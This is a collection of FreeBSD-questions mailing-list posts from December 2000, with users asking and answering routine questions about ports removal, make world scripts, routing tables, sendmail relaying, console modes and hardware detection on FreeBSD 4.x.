TCP_NODELAY and IPTOS_LOWDELAY, which can speed up the response  time  of  such
applications by over 95%.



























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Thanks all.

man pkg_delete certainly implies your interpretation.

It was pointed out to me that the action I was assuming (i.e., a
deinstall of the kde meta-port would remove all the parts of KDE) was
not logical. In my case I had installed Mesa and qt individually. So a
deinstall can (should) not just walk blindly down the dependency tree
removing ports. 

Sort off the topic but I found kde2 to be much too slow (for me) on my
166MHz so I am going back to 1.9 for the moment. if anyone else shares
the too big, too slow thought; what would you try next for a window
manager?

On Fri, 22 Dec 2000, Drew Tomlinson wrote:

> > -----Original Message-----
> > From: trini0 [mailto:trini0@optonline.net]
> > Sent: Friday, December 22, 2000 1:08 PM
> > To: doug@safeport.com; FreeBSD Questions
> > Subject: Re: How to remove KDE 2.0.1
> >
> >
> > If a make deinstall doesn't do it for me, I do pkg_delete -f
> > "portname".  The "-f" removes the dependencies to that
> > particular port.
> 
> Does this really remove the dependencies or just allow the removal of a
> particular port even if dependencies still exist?
> 
> Thanks,
> 
> Drew
> 
> [snip]
> 
> 

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In the last episode (Dec 23), Greg Lehey said:
> On Friday, 22 December 2000 at 11:19:54 -0600, Dan Nelson wrote:
> > SCO released the source to their sar program to a company called
> > Starnix in June '99.  Nothing has happened since then, and the
> > source is apparently still not freely available.
> 
> I investigated this code last year.  There would have been no problem
> in getting the code.  The real issue is that it would have required a
> large amount of kernel code changes, and we weren't really sure that
> it would give us so much more than sa as to make it worthwhile.  Take
> a look at sa(8) and see if you disagree.

But sar and sa really don't record the same info.  sa tracks individual
processes, where sar looks at the system as a whole and gives you
averages over 20-minute periods.  "-c" prints syscalls/sec, plus
separate breakdowns for read, write, fork and exec.  "-d" prints disk
I/O stats broken down per disk (per partition on Solaris).  "-w" prints
blocks swapped in/out per second, which is good for determining if
you're low on RAM, even when the RAM-hungry application runs at night
when you're asleep.

You could even whip up a partial version of "sar" with the output of
vmstat -s, and by beefing up what gets tracked, you could measure
almost all of what SCO/Solaris sar tracks.
 
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	I have recompiled my kernel with the correct options, and run vidcontrol -i
	mode to verify that my video card will let me use a 132x25 column/row system
	console.

	But I can't figure out how to turn it on! I have read the vidcontrol man page,
	but cannot figure out how to set the mode I desire.

	Could someone clue me in?

-- 
Stan Brown     stanb@awod.com                                    843-745-3154
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	originally coded for a 4-bit microprocessor, written by a 2-bit 
	company that can't stand for 1 bit of competition.
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Is it possible for UnixBSD to exist with Windows  98 on the same
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Port and dependancies...
Try it.

Drew Tomlinson wrote:

> > -----Original Message-----
> > From: trini0 [mailto:trini0@optonline.net]
> > Sent: Friday, December 22, 2000 1:08 PM
> > To: doug@safeport.com; FreeBSD Questions
> > Subject: Re: How to remove KDE 2.0.1
> >
> >
> > If a make deinstall doesn't do it for me, I do pkg_delete -f
> > "portname".  The "-f" removes the dependencies to that
> > particular port.
>
> Does this really remove the dependencies or just allow the removal of a
> particular port even if dependencies still exist?
>
> Thanks,
>
> Drew
>
> [snip]

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On Sat, Dec 23, 2000 at 12:57:59AM +0100, Ernst de Haan wrote:

> After setting the variable CLICOLORS in my environment, ls now gives me
> colored output, but I can't get it to print high-constrast colors. I tried
> `man ls', but I don't can't find any information about this. I remember that
> Leenucks used to have this a few years ago.

I was just working on that myself: Here's what I did:

 - install /usr/ports/misc/gnuls
 - put alias ls="gnuls --color=always" in ~/.profile or ~/.cshrc
 - tweak the color settings:
     man dircolors
     dircolors

Works like a charm.

Also check out this site for a colored prompt and a more detailed list of color combinations:

http://docs.freebsd.org/cgi/getmsg.cgi?fetch=723876+0+archive/1998/freebsd-questions/19980802.freebsd-questions


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I am having trouble installing a sb live card in my 4.2 stable box.  dmesg
shows:

pcm0: <Creative EMU10K1> port 0xb000-0xb01f irq 15 at device 9.0 on pci0
pcm0: ac97 codec invalid or not present (id == ffffffff)
device_probe_and_attach: pcm0 attach returned 6

I have included device pcm in my kernel and run MAKEDEV snd0.  Has anyone
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Howdy,

First off, I would like to say that the build mechanism for the ports is VERY 
impressive! I have been studying them for the past couple of days now and I 
hope I will be able to understand the entire process some day.

Now for my question. I have been playing around with KDE2 from the STABLE 
cvsup tree. When I build a port I issue the command `# make package`. The 
port is downloaded, compiled, installed, and made into a package. The problem 
is that the ports that were installed as dependecies are not made into 
packages, they are just installed. If I then do a `# make package`, make 
complains loadly that the port is already installed and quits with an `Error 
1`. I know it is already installed, I just want to package it up. Is there an 
enviromental variable that I can set to make the build process do a `# make 
package` instead of a `# make install`? Is there a clean way of building 
packages out of the ports that have already installed themselfs?

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In local.freebsd.questions you write:

>  Question is in subject. I've got a huge (about 200M) files in my
>  /ports directory in every port's dir. What is it???

Umm...  you've checked out the repository, i.e. the entire revision
history since the dawn of time, or thereabouts.

Probably the result of a missing "tag=." on the "release" line in your
supfile.  cd /usr/ports/examples/cvsup.  Read the README file.  To get
the ports tree, use "ports-supfile".

	$.02,
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You need to modify /etc/gettytab . . . it looks like this:

Where it says --

default:\
        :cb:ce:ck:lc:fd#1000:im=\r\n%s/%m (%h) (%t) \r\n\r\n:sp#1200:

You want to change the part following :im= and preceeding :sp#1200: 

My looks something like this --

         :cb:ce:ck:lc:fd#1000:im=\r\n\r\nYou are now entering fear and loathing.\r\n\r\n:sp#1200:

Don't comment out the old line and then write the new line below it though, that caused me some trouble. 

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>
>    I have what I hope is a simple question.  I'm
>still a little new to using FreeBSD.  
>When I login, I get a screen similar to the following:
>
>  FreeBSD/i386  (host.domain.net)  (ttypxx)
>
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>
>   How can I change/modify the text in the
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>
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Justin Honold <jhonold@bigfoot.com> types:
> thanks for the quick/great response!  this is the script i intend to run now
> from a screen to automatically build/install...look right?

Well, it doesn't look wrong. However, you should leave -questions on
the mail.

> i ran 'make world' and watched the output, and it doesn't appear to do 'make
> clean' :/  the /usr/src/Makefile doesn't say world has clean as a target
> either.  i'm assuming i shouldn't 'make -j4 clean update world' since the j4
> wouldn't help (might hurt?) the clean and update.  the removing of /usr/obj
> isn't done by clean, and is recommended in the handbook for speeding up the
> process.  'make clean' from /usr/src doesn't wipe out old builds of
> sysinstall either, so i manually run it there.  i use sysinstall only for
> disk purposes too, but i would like to keep it in sync with any bugfixes etc
> for that reason.

You're right, buildworld doesn't clean up /usr/obj. But that's
overkill. I believe the handbook is out of date; the buildworld target
now cleans things up in a better manner than it used to. You might
note that if buildworld didn't clean things up, then removing things
yourself wouldn't make much difference.

Sysinstall is a whole 'nother thing, and I'm not familiar with
installing it.

	<mike

> #!/bin/sh
> cd /usr/obj && rm -rf * && chflags -R noschg * && rm -rf *
> cd ../src && make clean update && make -j4 world
> make kernel KERNEL=DEMON
> cd release/sysinstall && make clean install
> mergemaster
> 
> > -----Original Message-----
> > From: Mike Meyer [mailto:mwm@mired.org]
> > Sent: Thursday, December 21, 2000 7:29 PM
> > To: Justin Honold
> > Subject: Re: a few simple make world questions
> >
> >
> > Justin Honold <jhonold@bigfoot.com> types:
> > > when one enters multiple make targets ('make update
> > buildworld'), does it
> > > only proceed with the second target if the first one was
> > successful ('make
> > > update && make buildworld')?
> >
> > Make stops whatever it's doing when it hits an error, so yes.
> >
> > > does 'make all' exist only for the passing of multiple targets
> > ('make all
> > > install' versus 'make && make install')?
> >
> > No. In fact, if the makefile is built properly, install will depend on
> > all, so that "make install" causes make to make all before doing the
> > install.
> >
> > Generally, "all" is used to provide a "build the entire world" target
> > when you have different parts that you might want to make
> > independently.
> >
> > > is it at all necessary to 'make clean' or 'make depend' from
> > /usr/src before
> > > beginning a world build?
> >
> > No. "make world" does the clean for you.
> >
> > > should i still remove the compile directory for my kernel before doing a
> > > kernel build when using the preferred method?
> >
> > There's no need to.
> >
> > > does 'make world' imply 'make buildworld && make installworld',
> > or will it
> > > proceed with the installation even if the compile had errors?
> >
> > As above, make stops working when it hits an error (unless it's told
> > to ignore that error). So yes, it'll stop. Personally, I do things in
> > two phases, doing the "buildworld" multiuser, and then the
> > "installworld" single user. I also build on one box then install on
> > the others.
> >
> > > is there a build/make in one target for the preferred kernel
> > build method
> > > ('make kernel KERNEL=KERNEL_NAME' versus 'make buildkernel
> > > KERNEL=KERNEL_NAME && make installkernel KERNEL=KERNEL_NAME')?
> >
> > Makefile.inc1 says that "kernel" is shorthand for "buildkernel
> > installkernel", so you just named the method.
> >
> > > would it ever be desirable to 'make all install' the entire
> > /usr/src/release
> > > section?  when i attempt to build the entire structure, it says
> > "warning:
> > > object directory not changed from original /usr/src/release" and does
> > > nothing.  i get the same warning when manually building
> > sysinstall, but it
> > > actually compiles and installs fine.
> >
> > Um - "release" builds the release floppies, CD images, etc. It's not
> > something you normally want to build at all.
> >
> > I personally don't use sysinstall. Pretty much everything it lets you
> > do can be done from the command line - except I wish the nice, visual
> > partition/slice editors were outside of it.
> >
> > > presently i use 2 scripts for the updating process; 1 for
> > building, 1 for
> > > installing.  here they are:
> > >
> > > #!/bin/sh
> > > chflags -R noschg /usr/obj/* && rm -rf /usr/obj/*
> > > cd /usr/src && make clean && make update && make -j4 buildworld
> > > make buildkernel KERNEL=DEMON
> > > cd release/sysinstall && make
> >
> > All that cleaning isn't needed, as the buildworld process cleans
> > things up before it starts. If you really want to do it, it'll run
> > faster if you run the rm first, with a chflags -R in between
> > (basically, it's much faster to walk the full tree once deleting
> > everything you can, then change the flags and remove the rest than to
> > walk the full tree twice: once changing flags and once removing).
> >
> > 	<mike
> > --
> > Mike Meyer <mwm@mired.org>
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I just recieved a bunch of confirmation emails stating a successful join to
many BSD lists, such as newbies, ports, etc.  However, they seemed directed
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My NIC card is probed when booting up and correctly identified.  The irq
is 10 and the address is 280.

My routing table is being configured by the routing deamon - there are
no static routes in the rc.networks or rc.config file.  How can I get
rid of the "/" in the second entry?  Is this a problem?  I currently
can't reach any hosts. "route flush" and "route delete" fail to remove
the entry.

Routing tables

Internet:
Destination        Gateway          Flags     Refs     Use     Netif
Expire
default            10.32.29.254      UGSc       1        0         ed0
10.32.29/24        link#1             UC           0        0
ed0
10.32.29.254       link#1            UHLW     2        0         ed0
127.0.0.1          127.0.0.1         UH           0        0         lo0

Then NIC is configured as shown:

ed0: flags=c843<UP,BROADCAST,RUNNING,SIMPLEX,LINK2,MULTICAST> mtu 1500
 inet 10.32.29.40 netmask 0xffffff00 broadcast 10.0.0.0
 ether 00:80:c8:e3:a3:44
lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
tun0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
sl0: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
 inet 127.0.0.1 netmask 0xff000000

What  can I do about this?

GREG


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My NIC card is probed when booting up and correctly identified.&nbsp; The
irq is 10 and the address is 280.
<p>My routing table is being configured by the routing deamon - there are
no static routes in the rc.networks or rc.config file.&nbsp; How can I
get rid of the "/" in the second entry?&nbsp; Is this a problem?&nbsp;
I currently can't reach any hosts. "route flush" and "route delete" fail
to remove the entry.
<p>Routing tables
<p>Internet:
<br>Destination&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Gateway&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Flags&nbsp;&nbsp;&nbsp;&nbsp; Refs&nbsp;&nbsp;&nbsp;&nbsp; Use&nbsp;&nbsp;&nbsp;&nbsp;
Netif Expire
<br>default&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
10.32.29.254&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UGSc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ed0
<br>10.32.<b><u><font color="#FF0000">29/24</font></u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
link#1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
UC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ed0
<br>10.32.29.254&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; link#1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
UHLW&nbsp;&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ed0
<br>127.0.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 127.0.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
UH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lo0
<p>Then NIC is configured as shown:
<p>ed0: flags=c843&lt;UP,BROADCAST,RUNNING,SIMPLEX,LINK2,MULTICAST> mtu
1500
<br>&nbsp;inet 10.32.29.40 netmask 0xffffff00 broadcast 10.0.0.0
<br>&nbsp;ether 00:80:c8:e3:a3:44
<br>lp0: flags=8810&lt;POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
<br>tun0: flags=8010&lt;POINTOPOINT,MULTICAST> mtu 1500
<br>sl0: flags=c010&lt;POINTOPOINT,LINK2,MULTICAST> mtu 552
<br>ppp0: flags=8010&lt;POINTOPOINT,MULTICAST> mtu 1500
<br>lo0: flags=8049&lt;UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
<br>&nbsp;inet 127.0.0.1 netmask 0xff000000
<p>What&nbsp; can I do about this?
<p>GREG
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10.32.29/24 is the same thing as 10.32.29.0 255.255.255.0

This is not a bad thing.  Its simply a different way of saying the same 
thing...all hosts in subnet

- Jim


At 09:36 PM 12/22/2000 -0800, greg simonoff wrote:
>My NIC card is probed when booting up and correctly identified.  The irq 
>is 10 and the address is 280.
>
>My routing table is being configured by the routing deamon - there are no 
>static routes in the rc.networks or rc.config file.  How can I get rid of 
>the "/" in the second entry?  Is this a problem?  I currently can't reach 
>any hosts. "route flush" and "route delete" fail to remove the entry.
>
>Routing tables
>
>Internet:
>Destination        Gateway          Flags     Refs     Use     Netif Expire
>default            10.32.29.254      UGSc       1        0         ed0
>10.32.29/24        link#1             UC           0        0         ed0
>10.32.29.254       link#1            UHLW     2        0         ed0
>127.0.0.1          127.0.0.1         UH           0        0         lo0
>
>Then NIC is configured as shown:
>
>ed0: flags=c843<UP,BROADCAST,RUNNING,SIMPLEX,LINK2,MULTICAST> mtu 1500
>  inet 10.32.29.40 netmask 0xffffff00 broadcast 10.0.0.0
>  ether 00:80:c8:e3:a3:44
>lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
>tun0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
>sl0: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
>ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
>lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
>  inet 127.0.0.1 netmask 0xff000000
>
>What  can I do about this?
>
>GREG
>


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I changed the configure file "/boot/default/loader.conf" and 
put a bmp file as "/boot/splash.bmp"(640*480,256colors). But
I could not see the picture when I boot up. What's wrong?
The BSD version is 4.1.1.



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The evidence suggests that "Jim Durham" wrote:
> On Fri, 22 Dec 2000, Jason Halbert wrote:
>
> > The evidence suggests that "Hudson, Henrik H." wrote:
> >
[SNIP]
>
> Jason,
>
> Without going into all kinds of details here because it's just
> too long to explain... Sendmail for the last few years has
> not allowed relaying unless you specifically allow it.
>
> What you have here is a version of sendmail that requires the
> virtual user table and the access database. These are called
> features". There is a file in /etc/mail called
> "access". It tells sendmail who can access the system.
> Relaying is controlled by putting in the access file
> domain names or IP addresses of folks allowed to relay
> through sendmail's SMTP port 25. Each line consists
> of an IP or domain name followed by RELAY. IE;
>
> 100.100.100.100 RELAY
>
> This allows IP address 100.100.100.100 to relay thru sendmail.
>
> To make it work, refer to the first line of the sample access file.
> It is an example of how to make the access.db file that
> sendmail is sceaming for from the access text file
> using makemap.
>
> Put the IP of your Windows box in there followed by RELAY
> and run makemap.
>
> The Virtual User Table is also in /etc/mail. You also
> use makemap to transform it into database.
> "makemap hash /etc/mail/access < /etc/mail/access".
>
> Please read the explanations of these two features on
> www.sendmail.org and you will be OK. Also, read the
> README file in /etc/mail.
> Nice to see a ham and TV guy on here! I'm W2XO
> and work at a mobile video company.
>
> -Jim Durham


First, thanks for everyone thats helped with this...

Here's my goal:
I have a [small, I guess] server.  I give out shells to my friends and
let them host their web sites on it and let them use it for storing
files and such.  I thought it would be cool to have my own mail
servers and stuff so everyone that has a shell could have an e-mail at
my domian.

Instead of having to add the host of everyone that has a shell and
allowing them to relay, since most of them are on dial-up, is it
possible to require a username and password auth. for them to send
mail to the SMTP server?  That way only authorized users with a shell
would have access and then by default when I add a user they are ready
to go without me needing to modify files?

I have been reading sendmail.org and it's kinda confusing on how it
does things.  When I'm reading information it doesn't seem clear what
file needs to be edited and then what to do with it.  It seems like
you have to modify one file then have it "compile", I guess, into
something else.

*whaps my head on the desk at the frustration of not getting this*
=)

Thanks

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I have a HP Kayak XA on which I installed FreeBSD 4.0 (from a 4.0 CDROM.) 
When I try to configure X windows I am having a problem with the mouse.

First the mouse will not work correctly through my KVM (I tried an Apex and 
a Belkin.) When the mouse is connected through the KVM the pointer moves 
(jumps) all over the screen. Connected directly it seems to be ok. I tried 
a couple of different mice. So I connected the mouse directly to the PC and 
could use it. But now it gets weirder. The mouse pointer is only visible 
when X is configured to 640x480. If I try to use a higher resolution the 
mouse cursor disappears. It is apparently working though as you can grab 
focus by moving the mouse in the right direction etc...

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Hello guys.

I'm experiencing some problems compiling 4.2-STABLE, CVSuped few hours ago
from cvsup5.freebsd.org.

That's what 'make buildworld' stops on:

===> usr.bin/script
rm -f script script.o script.1.gz script.1.cat.gz
rm -f .depend /usr/src/usr.bin/script/GPATH /usr/src/usr.bin/script/GRTAGS  /usr/src/usr.bin/script/GSYMS /usr/src/usr.bin/script/GTAGS
===> usr.bin/sed
Segmentation fault - core dumped
*** Error code 139

Stop in /usr/src/usr.bin.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.

That's what 'make' for kernel stops on:

root@jaguar-ua:/sys/compile/JAGUAR-UA>make
cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -ansi  -nostdinc -I- -I. -I../.. -I../../../include  -D_KERNEL -include opt_global.h -elf  -mpreferred-stack-boundary=2  bus_if.c
cc: Internal compiler error: program cc1 got fatal signal 11
*** Error code 1

Stop in /usr/src/sys/compile/JAGUAR-UA.

Can you be so kind to help me to figure out how can I build new FreeBSD?

My running FreeBSD is 4.1.1-STABLE.

-- 
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On Sat, Dec 23, 2000 at 01:16:34PM +0800, FreeBSD wrote:
> I changed the configure file "/boot/default/loader.conf" and 
> put a bmp file as "/boot/splash.bmp"(640*480,256colors). But
> I could not see the picture when I boot up. What's wrong?
> The BSD version is 4.1.1.
AFAIK, you can use only 320x200

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Igor Robul wrote:
> 
> On Sat, Dec 23, 2000 at 01:16:34PM +0800, FreeBSD wrote:
> > I changed the configure file "/boot/default/loader.conf" and
> > put a bmp file as "/boot/splash.bmp"(640*480,256colors). But
> > I could not see the picture when I boot up. What's wrong?
> > The BSD version is 4.1.1.
> AFAIK, you can use only 320x200

Higher resolutions supported with

option	VESA

in the kernel config file. Refer to spalsh(4).

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On Fri, Dec 22, 2000 at 10:20:37PM +0200, Lauri Laupmaa wrote:
> I'm interested where and when can open source community (including me)
> access System Activity Reporter (SAR) source code ?
You are asking this question in incorrect place :-) Ask SCO (or maybe
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> Is it possible for UnixBSD to exist with Windows  98 on the same
> computer?
Yes, of course. I use FreeBSD this way at work. At home I have
FreeBSD-only PC 
> Do you have information online that talks about this?
You can start here:
http://www.freebsd.org/tutorials/multi-os/index.html

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On Fri, Dec 22, 2000 at 05:00:17PM +0000, j mckitrick wrote:
> 
> Is the version of XFree86 in FreeBSD 4.2 (cdrom) listed anywhere?
XFree86-3.3.6 on CD-ROM
but of course you can install XFree4 from ports, as I did at home (but
I use 3.3.6 at work)

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On Fri, Dec 22, 2000 at 11:19:15PM +0800, TGR wrote:
> We heard about the marvels of your software.  We are asking from your good 
> self if FreeBSD can support our Power Builder v6.5 application software and 
> Sybase SQL Anywhere as our database engine?
While I very like FreeBSD, and  Sybase ASE 11.9.2 (I have not tried ASA)
will work on FreeBSD in Linux emulation mode, also Sybase has ASE11.0.3
which is _free_ and they have optimized for FreeBSD Linux binary. 
But I don't recommend you use FreeBSD for Sybase database server. Look
at Solaris (AFAIK Solaris 8, both Intel and Sparc is free for use on
systems which have from 1 to 8 processors)
> We do have a very efficient operation by next year.  I wonder if you give 
> me some advice.
Also, AFAIK PowerBuilder is Windows only.


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I decided to use FreeBSD as a server in my 9-client-network. I have to use
Windows and Dos on workstations. I know that it is possible to access data
on FreeBSD server from Windows. Is the same possible from DOS - to log in
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I have got FreeBSD Release 4.2
If yes - how to do this? where can I find software for DOS client?
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On Sat, Dec 23, 2000 at 11:38:54AM +0300, Igor Robul wrote:
> On Fri, Dec 22, 2000 at 11:19:15PM +0800, TGR wrote:
> > We heard about the marvels of your software.  We are asking from your good 
> > self if FreeBSD can support our Power Builder v6.5 application software and 
> > Sybase SQL Anywhere as our database engine?
> While I very like FreeBSD, and  Sybase ASE 11.9.2 (I have not tried ASA)
> will work on FreeBSD in Linux emulation mode, also Sybase has ASE11.0.3
> which is _free_ and they have optimized for FreeBSD Linux binary. 
> But I don't recommend you use FreeBSD for Sybase database server. Look
> at Solaris (AFAIK Solaris 8, both Intel and Sparc is free for use on
> systems which have from 1 to 8 processors)
> > We do have a very efficient operation by next year.  I wonder if you give 
> > me some advice.
> Also, AFAIK PowerBuilder is Windows only.
> 
> 
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On Sat, Dec 23, 2000 at 09:51:05AM +0100, Info wrote:
> I decided to use FreeBSD as a server in my 9-client-network. I have to use
> Windows and Dos on workstations. I know that it is possible to access data
> on FreeBSD server from Windows. Is the same possible from DOS - to log in
> and map drives?
Netware emulator, and you 'll can use any Novell Netware client:
/usr/ports/net/mars_nwe

Or you can TRY use Microsoft LAN manager DOS client (you can find it
on ftp.microsoft.com) I had no success with it (could not configure
network card)

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Hi,

I've recently installed a FBSD box with 4.2...

The box serves as a pppoe/nat box.

I would also like to use the system to burn cd's, rip audio etc etc.

Everything works fine, but I have an adaptec 2920 (around 2.5 years old) =
card, and Freebsd refuses to see it..=20

I've Recompiled with all the scsi options set, here is what looks like =
the card from startup...

pci0: <unknown card> (vendor=3D0x1036, dev=3D0x0000) at 17.0 irq 10

My Soundblaster, which I just installed, appears to be using the same =
irq, but even before installing it, I had this same results.

sbc0: <Creative SB16/SB32> at port 0x220-0x22f,0x300-0x301,0x388-0x38b =
irq 10 drq 0,5 on isa0

Here is a copy of my output from dmesg for reference...

aftica# dmesg
Copyright (c) 1992-2000 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
        The Regents of the University of California. All rights =
reserved.
FreeBSD 4.2-RELEASE #0: Fri Dec 22 06:17:39 EST 2000
    root@aftica.warzone:/usr/src/sys/compile/AFTICA
Timecounter "i8254"  frequency 1193182 Hz
Timecounter "TSC"  frequency 99474055 Hz
CPU: Pentium/P54C (99.47-MHz 586-class CPU)
  Origin =3D "GenuineIntel"  Id =3D 0x52c  Stepping =3D 12
  Features=3D0x1bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8>
real memory  =3D 100663296 (98304K bytes)
avail memory =3D 93990912 (91788K bytes)
Preloaded elf kernel "kernel" at 0xc03e3000.
Intel Pentium detected, installing workaround for F00F bug
md0: Malloc disk
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
isab0: <Intel 82371FB PCI to ISA bridge> at device 7.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <Intel PIIX ATA controller> port 0x3000-0x300f at device 7.1 on =
pci0
ata0: at 0x1f0 irq 14 on atapci0
pci0: <unknown card> (vendor=3D0x1036, dev=3D0x0000) at 17.0 irq 10
pci0: <S3 ViRGE DX/GX graphics accelerator> at 18.0 irq 11
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on =
isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
atkbd0: <AT Keyboard> flags 0x1 irq 1 on atkbdc0
kbd0 at atkbd0
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on =
isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=3D0x300>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
ppc0: FIFO with 16/16/15 bytes threshold
lpt0: <Printer> on ppbus0
lpt0: Interrupt-driven port
ppi0: <Parallel I/O> on ppbus0
ep0: <3Com 3C509-TPO EtherLink III> at port 0x310-0x31f irq 9 on isa0
ep0: Ethernet address 00:60:97:6b:e8:f4
ep1: <3Com 3C509-TPO EtherLink III> at port 0x210-0x21f irq 5 on isa0
ep1: Ethernet address 00:60:97:6b:e9:7c
sbc0: <Creative SB16/SB32> at port 0x220-0x22f,0x300-0x301,0x388-0x38b =
irq 10 drq 0,5 on isa0
pcm0: <SB DSP 4.13> on sbc0
IP Filter: v3.4.8 initialized.  Default =3D pass all, Logging =3D =
enabled
ad0: 1628MB <QUANTUM FIREBALL_TM1700A> [3309/16/63] at ata0-master WDMA2
Mounting root from ufs:/dev/ad0s1a
module_register: module netgraph already exists!
linker_file_sysinit "netgraph.ko" failed to register! 17
aftica#

Any ideas?
thanks




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<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I've recently installed a FBSD box with =

4.2...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The box serves as a pppoe/nat =
box.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I would also like to use the system to =
burn cd's,=20
rip audio etc etc.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Everything works fine, but&nbsp;I have =
an adaptec=20
2920 (around 2.5 years old)&nbsp;card, and&nbsp;Freebsd refuses to see=20
it..&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I've Recompiled with all the scsi =
options set, here=20
is what looks like the card from startup...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>pci0: &lt;unknown card&gt; =
(vendor=3D0x1036,=20
dev=3D0x0000) at 17.0 irq 10</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>My Soundblaster, which I just =
installed, appears to=20
be using the same irq, but even before installing it, I had this same=20
results.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>sbc0: &lt;Creative SB16/SB32&gt; at =
port=20
0x220-0x22f,0x300-0x301,0x388-0x38b irq 10 drq 0,5 on =
isa0<BR></DIV></FONT>
<DIV><FONT face=3DArial size=3D2>Here is a copy of my output from dmesg =
for=20
reference...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>aftica# dmesg<BR>Copyright (c) =
1992-2000 The=20
FreeBSD Project.<BR>Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, =
1991,=20
1992, 1993, 1994<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The =
Regents of=20
the University of California. All rights reserved.<BR>FreeBSD =
4.2-RELEASE #0:=20
Fri Dec 22 06:17:39 EST 2000<BR>&nbsp;&nbsp;&nbsp; <A=20
href=3D"mailto:root@aftica.warzone:/usr/src/sys/compile/AFTICA">root@afti=
ca.warzone:/usr/src/sys/compile/AFTICA</A><BR>Timecounter=20
